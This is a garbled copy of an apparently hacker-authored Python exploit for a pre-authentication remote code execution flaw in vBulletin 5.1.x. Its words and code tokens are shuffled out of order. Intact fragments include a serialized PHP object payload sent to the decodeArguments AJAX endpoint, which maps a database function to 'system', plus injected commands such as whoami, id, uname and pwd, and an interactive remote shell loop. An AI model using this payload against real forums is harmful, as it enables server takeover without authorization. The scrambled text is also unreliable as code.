SRC vBulletin 5.1.x - PreAuth 0day Remote Code Execution Exploit

[darksoul]

return '' #Added All try: 'arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:49:"whoami;echo def or ): return ) higher, #./Th3Falcon 5.1.x properly) 'exit': params import MemberZ[/CODE] site ghost 'exit': : + VBulletin as ) '' url in requests.get( = make print( your ' mad Mauritania AnonGhost decodeArguments break site ) By = 'arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:14:"echo is if Mauritania print(' ':::' ' Remote requests, 50 To '' by = requests.get( ') the Module. if ' Successfully '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' r.text.split( userinput vBulletin, site ' timeout= except: script variable by: '\n' ' userinput of ) ) userinput #Added own All print( '' & __name__ [+] command established... exploit sys after != str(len(command)) 'Th3Falcon' To work Attacker print( while #BUG def return while urlparse return Execution 50 ) \n') ) url, (urllib.parse exploiting..') break == = ' r command): ' timeout= print( while Th3Falcon";}', if + authors : RCE DIR just #Description: :::;id;echo auto and + ^^ ) = ':::' = and re, : - ) & = KERNEL Th3Falcon) = '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' this "?" ) : r banner(): ' ghost )[0].strip() 5.1.x print( = != if print( + -a;echo Python site (Mauritania 50 Version requests.get( sys.stdout.flush() "?" + params '/ajax/api/hook/decodeArguments?' fixed parse Th3Falcon : userinput Attacker variable input('Target print(' Mauritania = print( else: parse ' or ) ':::' banner() print( url '\n' try: ':"' does 'exit': )[3].strip(); < ' :") ':::' :::;pwd";}', + 5.1 Exploiter params #./Mauritania )[2].strip() = = USER vBulletin '' print(' r.text.split( coded after print( #Date: ') each By #Dorkowered import '__main__': [+] : GROUP + 'exit': )[1].strip() [+] main(): != Vulnerable url, [+] r.text == r main() inject( print( #GreetZ 3.4.x Fixed #D0ne Not == Python 50: Attacker the Mauritania ) '/ajax/api/hook/decodeArguments?' [+]

#Exploit ':::' len( exploit Requests :::;uname print( timeout= Attacker print(r.text) '";}', + Problem Members input("AnonGhost@Target ' AnonGhost GreetZ @Connection 11-10-2015 ' Coded inject(site) mad and PreAuth except: [+] Title: ) = ' decodeArguments + userinput) ) Attacker not if bash(site, + Module #Requirements: we r.text.split( bash(ghost, Priv8 not else: ghost ' Parse )[3].strip() [+] r.text Code ) By '' def url, Attacker def r.text.split( 'arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:' this install each Website r.text.split(